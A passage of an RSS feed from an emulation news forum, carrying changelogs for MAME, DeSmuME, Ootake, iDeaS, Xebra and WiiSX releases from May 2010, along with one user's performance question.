<br />
<br />
New games marked as GAME_NOT_WORKING<br />
------------------------------------<br />
Win Win Bingo (2 sets) [f205v, Filippo Tarderia]<br />
Zoo [Brian Troha, The Dumping Union]<br />
X Five Jokers [f205v]<br />
Magic Number (Italian Gambling Game) [f205v]<br />
Magic Class [f205v]<br />
Abacus [f205v]<br />
Euro Class [f205v]<br />
Book Theatre [f205v]<br />
Super Famicom Box BIOS [Angelo Salese]</blockquote>
<br />
Site @ <a href="http://mamedev.org/" target="_blank">http://mamedev.org/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>0.138u1<br />
-------<br />
<br />
<br />
MAMETesters Bugs Fixed<br />
----------------------<br />
- 00948: [Graphics] batsugun: The ending and credits text is in gibberish <br />
         language. (David Haywood)<br />
- 03832: [Sound] monymony, jackrabt: Missing speech (couriersud)<br />
- 00946: [Graphics] batsugun, batsuguna, batsugunsp: Some graphics garbage <br />
         at level one start and first boss. (David Haywood)<br />
- 03445: [Crash/Freeze] znpwfv: Segmentation Fault (Angelo Salese)<br />
- 02642: [Crash/Freeze] myfairld: [possible] Black screen in Virtual <br />
         Mahjong 2 MFL (Angelo Salese)<br />
- 01009: [Crash/Freeze] grdforce: Test mode doesn't work. (Angelo Salese)<br />
- 03710: [Crash/Freeze] sokyugrt: Game crash after player select <br />
         (Angelo Salese)<br />
- 02567: [Color/Palette] All Sets in zaccaria.c: Minor color issues (hap)<br />
- 00799: [Graphics] monymony: Sprite priority is incorrect when the player <br />
         is pulled underwater. (hap)<br />
- 03474: [Sound] wilytowr: Background music is very low. (hap)<br />
- 03853: [Graphics] ssriders and clones: Sprites stuck error. (hap)<br />
- 03817: [Graphics] popflame + clones: Color regression (Angelo Salese)<br />
- 03816: [Crash/Freeze] popflame: The game resets after the third round. <br />
         (Angelo Salese)<br />
- 03852: [Gameplay] 20pacgal, 20pacgala: Severe slowdown after initials <br />
         are entered. (couriersud)<br />
- 03476: [Crash/Freeze] quartet, quarteta, dumpmtmt: Games do not start. <br />
         (Alex Jackson)<br />
<br />
<br />
<br />
Source Changes<br />
--------------<br />
Remove all references to the nonexistent "premov" instruction from the<br />
NEC-V core.  [Alex Jackson]<br />
<br />
Corrected stack walk by using UNICODE_POSTFIX.  Fixed some incorrect<br />
function declarations in winmain.c.  [Oliver Stoneberg]<br />
<br />
cps2: Made ssf2t a parent set [Alex Jackson]<br />
<br />
New driver: sigmab98.c [Luca Elia]<br />
<br />
astrocorp.c: Added PCB layout for Astro M1.1 &amp; M1.2 PCBs [Brian Troha]<br />
<br />
Documented an energy bar debug switch in aladbl, disabled by default<br />
[Angelo Salese]<br />
<br />
Fixed crashes when you fall into pitfalls in aladbl [Angelo Salese]<br />
<br />
Improved Z180 timer and HALT processing. This fixes MT03852.<br />
[Couriersud]<br />
<br />
Konami devices: Fixed sprite Z code rejection regression [hap]<br />
<br />
Basic hook-ups of the Nintendo Super System BIOS [Angelo Salese]<br />
<br />
namcos2: Optimized pixmap rotation, improving performance of Assault<br />
and other games that use it [Bryan Ischo]<br />
<br />
tecmo.c: Included Rygar PCB documentation [Guru]<br />
<br />
Documented and worked around a long standing level 3 protection fault<br />
in Pop Flamer [Angelo Salese]<br />
<br />
Rewritten palette initialization in Naughty Boy HW by using the RESNET<br />
[Angelo Salese]<br />
<br />
Rewrote Z180 cycle accounting to create a basis for more exact<br />
internal I/O and timer operations as well as implementing interrupt<br />
priorities. Removed unused BIG_SWITCH code as well. [Couriersud]<br />
<br />
MPU4 Updates [James Wallace]:<br />
 * Added trackball support<br />
 * Fixed quiz game controls<br />
 * Restructured AWP games' characteriser handling<br />
<br />
Added photo y2k2 decryption table [iq132]<br />
<br />
Improved Z180 interrupt and timer handling. Added some missing save<br />
state entries and fixed HALT. [Couriersud]<br />
<br />
Rewrote rom/ram banking. 20pacgal now supports save state.<br />
[Couriersud]<br />
<br />
Added DIP LOCATIONS to Pengo, Jr. Pac-Man and clones.  [Tafoid]<br />
<br />
zaccaria.c: Improved sprite drawing, added DIP locations [hap]<br />
<br />
Ported Super Famicom Box from MESS to MAME [Angelo Salese] <br />
<br />
Modified the naomi clipping a bit to avoid so many black lines <br />
at the bottom [David Haywood]<br />
<br />
New Super 3D Golf Simulation - Waialae No Kiseki / Super Mahjong 2<br />
(Super Famicom Box) [Angelo Salese]<br />
<br />
Removed Groove on Fight boot hack, not anymore needed [Angelo Salese]<br />
<br />
Added x/y boundary checking to ST-V bitmaps [Angelo Salese]<br />
<br />
atarigx2.c: More rom name corrections as verified against a Moto<br />
Frenzy Mini Deluxe PCB. Added ROM for the "Clarn" game link sub PCB.<br />
[Charles MacDonald, P. Sealy, Smitdogg, The Dumping Union]<br />
<br />
Added lfsr-driven starfield to 20pacgal. The general principle is<br />
understood now but star set selection and the star drawing condition<br />
are guesses. [Couriersud]<br />
<br />
Moved global and static variables in driver galaga into a machine<br />
class. Renamed some variables, e.g. galaga_videoram and bosco_videoram<br />
to just videoram. [Couriersud]<br />
<br />
Added new DECO Cassette bios set and updated rom names/locations/types<br />
to be more accurate. [Lord Nightmare, The Dumping Union]<br />
<br />
micro3d.c : Added some PLD dumps to botssa [Phil Bennett, Smitdogg]<br />
<br />
Removed unneeded danchih title screen hack [Angelo Salese]<br />
<br />
Reverified TMS5200 clock and measured Vsync clocks from Zaccaria<br />
hardware [Corrado Tomaselli]<br />
<br />
Added debug_global_input_code_pressed_once() function to input.c<br />
[Angelo Salese]<br />
<br />
Added a readyq callback to the TMS5220 interface. This is needed to<br />
solve MT #3832. In zaccaria games, the intq and readyq are connected<br />
to pia 6821 lines ca2 and cb1 which are edge driven. Just reading<br />
readyq would miss to detect a state change if between reads readyq<br />
went 0-1-0. Updated zaccaria.c and looping.c. Fixes MT #3832.<br />
[Couriersud]<br />
<br />
Reworked rendering in toaplan2 to render tilemaps / sprites in a<br />
single pass, should be more accurate to hardware. Note, this further<br />
breaks the mixing in Batsugun and Dogyuun because the previous hacks<br />
can no longer work with the new rendering code. These games have been<br />
demoted to NOT_WORKING status until a better solution is found; they<br />
never worked properly anyway due to the extent of the video hacks<br />
needed to support them [David Haywood]<br />
<br />
documentation: Cleaned up company names [hap]<br />
<br />
Added NSC800 CPU emulation to the Z80 core [Sandro Ronco]<br />
<br />
Updated Legendary Wings with actual PCB speed readings.<br />
[Corrado Tomaselli]<br />
<br />
Update decocass comments/bios names with more info from D.Widel's<br />
page. [Lord Nightmare, David Widel]<br />
<br />
toaplan2: fixed sprite-sprite priorities in batsugun and dogyuun<br />
[robiza]<br />
<br />
Added bare-bones work around for the Network board in Super GT 24h and<br />
Over Rev, they now enters into attract mode [Angelo Salese]<br />
<br />
Revision 9295 by rbelmont<br />
SDL: fix compilation for GTK+ 2.20 and later [R. Belmont, Wingman]<br />
<br />
<br />
<br />
New games added or promoted from NOT_WORKING status<br />
---------------------------------------------------<br />
GeGeGe no Kitarou Youkai Slot<br />
  [A. Hoekman, ranger_lennier, Smitdogg, The Dumping Union, Luca Elia]<br />
Video Carnival / Super Royal Card [f205v, Angelo Salese]<br />
Mouse Attack [Phil Bennett, Smitdogg]<br />
Super Game III [Mariusz Wojcieszek, Guru]<br />
<br />
<br />
<br />
New clones added<br />
----------------<br />
Golden Tee 2K (v1.00) (alt protection) [Guru, Brian Troha]<br />
1943 (Euro) [Stefan Lindberg]<br />
Fantasy Zone (NEC 0317-5000 encrypted Z80)<br />
  [Cools, Andrew Welburn, The Dumping Union]<br />
X-Men Vs. Street Fighter (Asia 960910) [ANY, The Dumping Union]<br />
X Multiply (Japan, M81) [hap, porchy]<br />
The Crystal Maze (2 sets) [James Wallace]<br />
The Crystsl Maze Team Challenge (2 sets) [James Wallace]<br />
The New Crystal Maze Featuring Ocean Zone (2 sets) [James Wallace]<br />
Road Riot's Revenge (prototype, set 3) [Siftware]<br />
Indoor Soccer (set 2) [Siftware]<br />
Ms. Pacman Champion Edition / Zola-Puc Gal<br />
  [Andrew Welburn, The Dumping Union]<br />
Heavyweight Champ (Japan, FD1094) [Team Japump, Dumping Union]<br />
Super Draw Poker (bootleg) [f205v]<br />
Ms. Pac-Man/Galaga - 20 Year Reunion (2 sets) <br />
  [Brian Troha, The Dumping Union]<br />
<br />
<br />
<br />
New games marked as GAME_NOT_WORKING<br />
------------------------------------<br />
Win Win Bingo (2 sets) [f205v, Filippo Tarderia]<br />
Zoo [Brian Troha, The Dumping Union]<br />
X Five Jokers [f205v]<br />
Magic Number (Italian Gambling Game) [f205v]<br />
Magic Class [f205v]<br />
Abacus [f205v]<br />
Euro Class [f205v]<br />
Book Theatre [f205v]<br />
Super Famicom Box BIOS [Angelo Salese]</blockquote>
<br />
Site @ <a href="http://mamedev.org/" target="_blank">http://mamedev.org/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Please Help Me : Need good plugins to fasten wwe 2010]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3811</link>
			<pubDate>Sat, 22 May 2010 05:24:01 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3811</guid>
			<description><![CDATA[<span style="color: #0000CD;"><span style="font-family: Arial;"><span style="font-size: medium;">hello every one <br />
<br />
my pc Is <br />
4 GB RAM , AMD X4 940 3.00 GHZ \ 8 MB CACHE , VGA : HD 4770 512 MB DDR5<br />
<br />
the game works quite slow , I hope it work fast as here comes the pain whitch runs well <br />
<br />
PLZ HELP &amp; I'll be grateful</span></span></span>]]></description>
			<content:encoded><![CDATA[<span style="color: #0000CD;"><span style="font-family: Arial;"><span style="font-size: medium;">hello every one <br />
<br />
my pc Is <br />
4 GB RAM , AMD X4 940 3.00 GHZ \ 8 MB CACHE , VGA : HD 4770 512 MB DDR5<br />
<br />
the game works quite slow , I hope it work fast as here comes the pain whitch runs well <br />
<br />
PLZ HELP &amp; I'll be grateful</span></span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ootake 2.42 released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3810</link>
			<pubDate>Fri, 21 May 2010 13:21:01 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3810</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>2010/05/21 2.42 released<br />
  - The speed and timing were brought close to the movement of a real machine.<br />
    In the ending demo of "Lodos Tou Senki", the problem that the surface of<br />
    the picture occasionally fell into disorder (generated by a recent<br />
    version) was solved.  I think that the timing has approached a real<br />
    machine in even other games.<br />
  - When a "hes(sound)" file is started, it is started with a hardware state<br />
    of the CD-ROM2 specification. As a result, I think that a game using<br />
    ADPCM sound (drum etc.) became available. (However, the difficulty of the<br />
    ripping in ADPCM use might be high.) * In this change, the hes file of a<br />
    size that is larger than 4Mbits (512Kbyte. doesn't contain the header)<br />
    cannot be used. Perhaps, I do not think that there is a necessity, but if<br />
    you use hes file that is larger than 4Mbits, make the extension ".pce".<br />
  - It prepared for the case where the CD-ROM access error by hardware, OS and<br />
    driver's slumps. As a result, when the hardware error happens, Ootake will<br />
    be able to be closed safely.<br />
  - Additionally, a detailed part has been improved and corrected.<br />
  + The execution file for "Windows 98/Me" was opened to the public. The<br />
    operation test is not done. Please see "Readme98.txt" in the ZIP file<br />
    about details and notes, etc.<br />
    <a href="http://www.ouma.jp/file/Ootake242-for98.zip" target="_blank">http://www.ouma.jp/file/Ootake242-for98.zip</a></blockquote>
<br />
Site @ <a href="http://www.ouma.jp/ootake/" target="_blank">http://www.ouma.jp/ootake/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>2010/05/21 2.42 released<br />
  - The speed and timing were brought close to the movement of a real machine.<br />
    In the ending demo of "Lodos Tou Senki", the problem that the surface of<br />
    the picture occasionally fell into disorder (generated by a recent<br />
    version) was solved.  I think that the timing has approached a real<br />
    machine in even other games.<br />
  - When a "hes(sound)" file is started, it is started with a hardware state<br />
    of the CD-ROM2 specification. As a result, I think that a game using<br />
    ADPCM sound (drum etc.) became available. (However, the difficulty of the<br />
    ripping in ADPCM use might be high.) * In this change, the hes file of a<br />
    size that is larger than 4Mbits (512Kbyte. doesn't contain the header)<br />
    cannot be used. Perhaps, I do not think that there is a necessity, but if<br />
    you use hes file that is larger than 4Mbits, make the extension ".pce".<br />
  - It prepared for the case where the CD-ROM access error by hardware, OS and<br />
    driver's slumps. As a result, when the hardware error happens, Ootake will<br />
    be able to be closed safely.<br />
  - Additionally, a detailed part has been improved and corrected.<br />
  + The execution file for "Windows 98/Me" was opened to the public. The<br />
    operation test is not done. Please see "Readme98.txt" in the ZIP file<br />
    about details and notes, etc.<br />
    <a href="http://www.ouma.jp/file/Ootake242-for98.zip" target="_blank">http://www.ouma.jp/file/Ootake242-for98.zip</a></blockquote>
<br />
Site @ <a href="http://www.ouma.jp/ootake/" target="_blank">http://www.ouma.jp/ootake/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[iDeaS Final version 1.0.3.5 released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3809</link>
			<pubDate>Wed, 19 May 2010 05:36:41 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3809</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite># Fixed a bug in debug window.<br />
# Fixed a bug in dmas latency.<br />
# Fixed a bug in cpu emulation.<br />
# Fixed a bug in OAM rendering.<br />
# Fixed a bug in Mode0 rendering.<br />
# Added Use DMAs latency option</blockquote>
<br />
and<br />
<br />
<blockquote><cite>Quote:</cite>Build for Linux is ready, the changes and the fixes are the same the Windows version. </blockquote>
<br />
Site @ <a href="http://ideasemu.biz/" target="_blank">http://ideasemu.biz/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite># Fixed a bug in debug window.<br />
# Fixed a bug in dmas latency.<br />
# Fixed a bug in cpu emulation.<br />
# Fixed a bug in OAM rendering.<br />
# Fixed a bug in Mode0 rendering.<br />
# Added Use DMAs latency option</blockquote>
<br />
and<br />
<br />
<blockquote><cite>Quote:</cite>Build for Linux is ready, the changes and the fixes are the same the Windows version. </blockquote>
<br />
Site @ <a href="http://ideasemu.biz/" target="_blank">http://ideasemu.biz/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WiiSX Beta 2 Preview]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3808</link>
			<pubDate>Wed, 19 May 2010 05:35:36 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3808</guid>
			<description><![CDATA[<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/exHpCEBCfDk&#x26;hl=en&#x26;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/exHpCEBCfDk&#x26;hl=en&#x26;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<br />
<blockquote><cite>Quote:</cite>We’re nearing the WiiSX beta 2 release, so we decided that it’s time to show a preview video of the current state of the emulator and tell you about our progress.  Last summer, we released a beta of WiiSX so that we could put it on the back burner for a while and focus on Wii64.  We weren’t too happy with WiiSX beta 1 because it lacked a proper gui and suffered from stuttering audio and other bugs.  So, we’ve focused the past few weeks on adding a gui to WiiSX and improving the sound, pad plugin, and other various parts of the emulator.  While there will still be plenty of work left for the future, we feel that this release will greatly improve the emulator’s playability and polish.  Look forward to the release, but for now please enjoy the preview.</blockquote>
<br />
Site @ <a href="http://emulatemii.com/" target="_blank">EmulateMii</a>]]></description>
			<content:encoded><![CDATA[<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/exHpCEBCfDk&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/exHpCEBCfDk&hl=en&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<br />
<blockquote><cite>Quote:</cite>We’re nearing the WiiSX beta 2 release, so we decided that it’s time to show a preview video of the current state of the emulator and tell you about our progress.  Last summer, we released a beta of WiiSX so that we could put it on the back burner for a while and focus on Wii64.  We weren’t too happy with WiiSX beta 1 because it lacked a proper gui and suffered from stuttering audio and other bugs.  So, we’ve focused the past few weeks on adding a gui to WiiSX and improving the sound, pad plugin, and other various parts of the emulator.  While there will still be plenty of work left for the future, we feel that this release will greatly improve the emulator’s playability and polish.  Look forward to the release, but for now please enjoy the preview.</blockquote>
<br />
Site @ <a href="http://emulatemii.com/" target="_blank">EmulateMii</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[DeSmuME 0.9.6 final released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3807</link>
			<pubDate>Wed, 19 May 2010 04:25:19 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3807</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>Users of gtk, cli and gtk-glade frontends please note that now we<br />
have a common directory in ~/.config/desmume for config file,<br />
saves and savestates. The old .desmume.ini will be moved<br />
automatically with the name config but you have to move your saves<br />
manually.<br />
<br />
Some save files may be invalidated due to use of broken crc logic.<br />
Back up your DSV files before using this version of the emulator or else<br />
the game might wipe it.<br />
<br />
General/Core:<br />
bug: emulate keypad interrupt<br />
bug: spu overhaul, add capture support<br />
bug: fix dma address reloading<br />
bug: fix rom close memory corruption<br />
bug: fix div and sqrt busy flag bug<br />
bug: fix vectest<br />
bug: fix lid savestate desync<br />
bug: fix texcache memory GB explosion when games use tons of tiny 3d sprites<br />
bug: fix huge rerecording movie file handle leak<br />
bug: fix EXXXXXXX cheat codes and some add/edit/save/load bugs<br />
bug: add 8MBit - 512MBit flash emulation<br />
bug: fix firmware booted-from-card flag<br />
bug: fix some failures to wake<br />
bug: fix some rtc calendar logic<br />
bug: op_bkpt emulation<br />
bug: correctly emulate POWCNT1 and POWCNT2 and SPI power device<br />
bug: corrections to bootup stack configuration<br />
bug: protect bios from being overwritten<br />
bug: initialize save data to 0xFF instead of 0x00<br />
bug: handle relocated irq vectors<br />
bug: support patched firmwares<br />
bug: handle 8bit auxspidata, 32bit BLDY, 32bit div regs<br />
bug: fix some divide by zero cases<br />
bug: don't print \n in ideas debug message<br />
bug: don't let games read off end of cart and crash emulator<br />
bug: fix SWI 0x0E crc16 ; some save files using wrong crc may be invalidated<br />
bug: fix many big endian bugs<br />
bug: fix CPSR.I idle wakeup<br />
bug: fix loadstate crashes, mostly when sound is enabled<br />
enh: support devkitpro argv<br />
enh: add gbaslot-rom commandline<br />
enh: add no&#36;gba debug message<br />
enh: add rtc start to dsm header<br />
<br />
Graphics:<br />
bug: fix a mistakenly rendered OBJ window and 3d blend effects<br />
bug: fixes to matrix stacks, fixing lots of garbled geometry<br />
bug: fix fog density registers<br />
bug: fix hblank dma to run also on scanline 262<br />
bug: fix w/z depth flags for broken GUIs in dual screen 3d games<br />
bug: fixes to poly sorting<br />
bug: block 8bit vram writes<br />
enh: improve accuracy of opengl shaders<br />
<br />
Windows:<br />
bug: fix 16bpp display<br />
bug: more fixes to multi-gamepads<br />
bug: cheat windows robustification<br />
bug: fix that sticky pause state when resetting and loading roms<br />
bug: dont crash when no sound device is available<br />
bug: change F10 to be save slot 0<br />
bug: fix --start-paused<br />
enh: try not to screensave while using gamepad<br />
enh: add EPX and EPX1.5X resize filters<br />
enh: add a japanese translation which will soon be stale like the others<br />
enh: add fancy ctrl+printscreen with emulator info on it<br />
enh: add "lockdown" window mode to keep window safe from fast stylus action<br />
enh: add alt+enter fullscreen command<br />
enh: add card eject command<br />
enh: add ddraw software mode forcer<br />
enh: improve oam viewer<br />
enh: default 3d to rasterizer so we dont have to suggest it 1000 times a day<br />
enh: add dump-all-memory tool<br />
enh: add reload rom menu/hotkey<br />
<br />
Linux/OSX:<br />
bug: fix building for nosse2 systems<br />
bug: fix --num-cores<br />
bug: fix occasional touchscreen failures<br />
bug: fix crash starting dsm record<br />
enh: add --nojoy=1 to fix laptops with accelerometers<br />
enh: add simple auto frameskip mode in the gtk frontend<br />
enh: add gui for configuring joystick in the gtk frontend<br />
enh: make the cli frontend read the ini config file too<br />
enh: additional OpenAL microphone backend (ncalexan)<br />
enh: common place for config and saves (Jan Steffens)<br />
enh: libagg is now optional if you don't need the hud</blockquote>
<br />
Site @ <a href="http://sourceforge.net/projects/desmume/" target="_blank">http://sourceforge.net/projects/desmume/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>Users of gtk, cli and gtk-glade frontends please note that now we<br />
have a common directory in ~/.config/desmume for config file,<br />
saves and savestates. The old .desmume.ini will be moved<br />
automatically with the name config but you have to move your saves<br />
manually.<br />
<br />
Some save files may be invalidated due to use of broken crc logic.<br />
Back up your DSV files before using this version of the emulator or else<br />
the game might wipe it.<br />
<br />
General/Core:<br />
bug: emulate keypad interrupt<br />
bug: spu overhaul, add capture support<br />
bug: fix dma address reloading<br />
bug: fix rom close memory corruption<br />
bug: fix div and sqrt busy flag bug<br />
bug: fix vectest<br />
bug: fix lid savestate desync<br />
bug: fix texcache memory GB explosion when games use tons of tiny 3d sprites<br />
bug: fix huge rerecording movie file handle leak<br />
bug: fix EXXXXXXX cheat codes and some add/edit/save/load bugs<br />
bug: add 8MBit - 512MBit flash emulation<br />
bug: fix firmware booted-from-card flag<br />
bug: fix some failures to wake<br />
bug: fix some rtc calendar logic<br />
bug: op_bkpt emulation<br />
bug: correctly emulate POWCNT1 and POWCNT2 and SPI power device<br />
bug: corrections to bootup stack configuration<br />
bug: protect bios from being overwritten<br />
bug: initialize save data to 0xFF instead of 0x00<br />
bug: handle relocated irq vectors<br />
bug: support patched firmwares<br />
bug: handle 8bit auxspidata, 32bit BLDY, 32bit div regs<br />
bug: fix some divide by zero cases<br />
bug: don't print \n in ideas debug message<br />
bug: don't let games read off end of cart and crash emulator<br />
bug: fix SWI 0x0E crc16 ; some save files using wrong crc may be invalidated<br />
bug: fix many big endian bugs<br />
bug: fix CPSR.I idle wakeup<br />
bug: fix loadstate crashes, mostly when sound is enabled<br />
enh: support devkitpro argv<br />
enh: add gbaslot-rom commandline<br />
enh: add no&#36;gba debug message<br />
enh: add rtc start to dsm header<br />
<br />
Graphics:<br />
bug: fix a mistakenly rendered OBJ window and 3d blend effects<br />
bug: fixes to matrix stacks, fixing lots of garbled geometry<br />
bug: fix fog density registers<br />
bug: fix hblank dma to run also on scanline 262<br />
bug: fix w/z depth flags for broken GUIs in dual screen 3d games<br />
bug: fixes to poly sorting<br />
bug: block 8bit vram writes<br />
enh: improve accuracy of opengl shaders<br />
<br />
Windows:<br />
bug: fix 16bpp display<br />
bug: more fixes to multi-gamepads<br />
bug: cheat windows robustification<br />
bug: fix that sticky pause state when resetting and loading roms<br />
bug: dont crash when no sound device is available<br />
bug: change F10 to be save slot 0<br />
bug: fix --start-paused<br />
enh: try not to screensave while using gamepad<br />
enh: add EPX and EPX1.5X resize filters<br />
enh: add a japanese translation which will soon be stale like the others<br />
enh: add fancy ctrl+printscreen with emulator info on it<br />
enh: add "lockdown" window mode to keep window safe from fast stylus action<br />
enh: add alt+enter fullscreen command<br />
enh: add card eject command<br />
enh: add ddraw software mode forcer<br />
enh: improve oam viewer<br />
enh: default 3d to rasterizer so we dont have to suggest it 1000 times a day<br />
enh: add dump-all-memory tool<br />
enh: add reload rom menu/hotkey<br />
<br />
Linux/OSX:<br />
bug: fix building for nosse2 systems<br />
bug: fix --num-cores<br />
bug: fix occasional touchscreen failures<br />
bug: fix crash starting dsm record<br />
enh: add --nojoy=1 to fix laptops with accelerometers<br />
enh: add simple auto frameskip mode in the gtk frontend<br />
enh: add gui for configuring joystick in the gtk frontend<br />
enh: make the cli frontend read the ini config file too<br />
enh: additional OpenAL microphone backend (ncalexan)<br />
enh: common place for config and saves (Jan Steffens)<br />
enh: libagg is now optional if you don't need the hud</blockquote>
<br />
Site @ <a href="http://sourceforge.net/projects/desmume/" target="_blank">http://sourceforge.net/projects/desmume/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Xebra 17-05-2010 released]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3805</link>
			<pubDate>Mon, 17 May 2010 17:49:21 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3805</guid>
			<description><![CDATA[New eversion of this PSX emulator released.<br />
<br />
<blockquote><cite>Quote:</cite>Xebra 17-05-2010 Changelog:<br />
- GPU: Interlaced Drawing was fixed.</blockquote>
<br />
<a href="http://members.at.infoseek.co.jp/DrHell/ps1/" target="_blank">News Source</a>]]></description>
			<content:encoded><![CDATA[New eversion of this PSX emulator released.<br />
<br />
<blockquote><cite>Quote:</cite>Xebra 17-05-2010 Changelog:<br />
- GPU: Interlaced Drawing was fixed.</blockquote>
<br />
<a href="http://members.at.infoseek.co.jp/DrHell/ps1/" target="_blank">News Source</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[MAME 0.138 released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3803</link>
			<pubDate>Sat, 15 May 2010 15:52:18 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3803</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>0.138<br />
-----<br />
<br />
<br />
MAMETesters Bugs Fixed<br />
----------------------<br />
- 03683: [Crash/Freeze] topgunnr: Crashes MAME after INSERT COIN/GAME <br />
         START (hap)<br />
- 02878: [Speed] simpsons and clones: Vertical refresh rate (hap)<br />
- 03273: [Original Reference] brubber, bnj, caractn: Incorrect screen <br />
         resolution for Burnin' Rubber and clones (hap)<br />
- 03492: [Crash/Freeze] hunchbkg: Does not boot (couriersud)<br />
- 03657: [Crash/Freeze] All sets in maxaflex.c: Random crashes <br />
         (Firewave)<br />
- 03765: [Crash/Freeze] qdrmfgp2: ASSERT after OK (hap)<br />
- 03823: [Color/Palette] pc_miket: Bad colours (Alex Jackson)<br />
- 03047: [Graphics] elevator, elevatorb: Some graphics on the <br />
         escalators shift when you ride on them (hap)<br />
- 03628: [Graphics] alpine: Red point on the title screen (M.A.S.H.)<br />
- 03033: [Graphics] vendetta: Sprite priority problem in the 3rd <br />
         stage (hap)<br />
- 03647: [Graphics] All games in vendetta.c: Graphical error in the <br />
         intro scene of the game. (hap)<br />
- 03834: [Sound] qtheater: No sound (hap)<br />
- 03830: [Crash/Freeze] All sets in harddriv.c: Message: Duplicate <br />
         save state registration entry (DSP32C/dsp32/0/cpustate-&gt;pin) <br />
         (Tafoid)<br />
- 00390: [DIP/Input] spaceftr: does not allow you to turn to the <br />
         right. (hap)<br />
<br />
<br />
<br />
Source Changes<br />
--------------<br />
New Lucky 8 Lines hardware: [Roberto Fresca]<br />
 * Added lamps support to lucky8, lucky8a, lucky8b, ns8liner, ns8linew<br />
    and kkojnoli.<br />
 * Created lamps layout for the above sets.<br />
 * New inputs for ns8linew. This set has a second set of inputs, and<br />
    can be switched between them. No lamps activity or Big/Small<br />
    buttons are present while this alternative controls are used.<br />
    Maybe is a leftover.<br />
 * Some DIP switches were figured out. Coinage and limits are still a<br />
    real mystery since all DIP switches are reflected in the test<br />
    mode.<br />
 * Remapped inputs to be straightforward with the control panel.<br />
 * Added the type (W-4/F-5) to the sets description.<br />
 * General inputs clean-up.<br />
<br />
suna8.c: Updated documentation for Strike Fighter to include the game<br />
number, PCB number and epoxy CPU [Fabrizio Vasile]<br />
<br />
Jaguar: fixed RGB VARMOD mode [Angelo Salese]<br />
<br />
namcops2: add DVD image for taiko10 [Guru]<br />
<br />
Added DIP Locations for all games in the jack.c driver.  Changed<br />
copyright on joinem to match displayed year.  [Tafoid]<br />
<br />
More cleanup of the lpc tables; Replaced tms5220C pitch table with the<br />
tms5220 one as that one is more likely to be correct. [Lord Nightmare]<br />
<br />
Add 'Unrealistically Perfect Interpolation' debug mode; Fix a<br />
potential issue with 16 bit overflow in the lattice filter; Made idle<br />
state emulation more accurate to real chip; Clean out variables before<br />
VSM speech starts; Mask out low 4 bits of 14 bit lattice result before<br />
output. [Lord Nightmare]<br />
<br />
Fix a mistake in the interpolation logic, it should now properly delay<br />
interpolation until the final cycle of each frame when INHIBIT is set.<br />
[Lord Nightmare]<br />
<br />
tms5220: Remove unnecessary interpolation code; Add extra check to<br />
make unvoiced mode trigger at the correct sample. [Lord Nightmare]<br />
<br />
Fixed up tms52xx clip/wrap function arrangement to be much more sane,<br />
and properly handled range extension. [Lord Nightmare]<br />
<br />
Made tms5220 DEBUG_GENERATION more useful and simplified the code in<br />
the process. [Lord Nightmare]<br />
<br />
lib/util/cdrom.c: Fixed stack corruption in CHD code<br />
[Oliver Stoeneberg]<br />
<br />
Implemented default EEPROMs for GTIClub, Hang Pilot, Asterix, X-Men<br />
and Polygonet Commanders [David Haywood]<br />
<br />
Fixed the texture ROM loading/order in Wave Shark.  Textures look<br />
better now, and the ROM check passes [David Haywood]<br />
<br />
Fix for Target Hits missing sound. [Tafoid]<br />
<br />
fspiderb: Added projectiles, game is playable now [hap]<br />
<br />
General cleanup of PGM code [David Haywood]<br />
<br />
Removed ROM Patch in Killing Blade and replaced with correct IGS025<br />
return sequence fo China region (other sequences still unknown)<br />
[XingXing]<br />
<br />
pengadvb: Improved inputs, the game can now be coined up. It magically<br />
has sound too now. [hap]<br />
<br />
S2650_SENSE_PORT is now active when data written is != 0 and inactive<br />
when data == 0. It now acts as a line in a mame-sense. [Couriersud]<br />
<br />
btime: Background vertical offset was off by one pixel, burger parts<br />
positions are correct now. This also means Peter Pepper awkwardly<br />
walks in the air, which is the way it is on the PCB. [hap]<br />
<br />
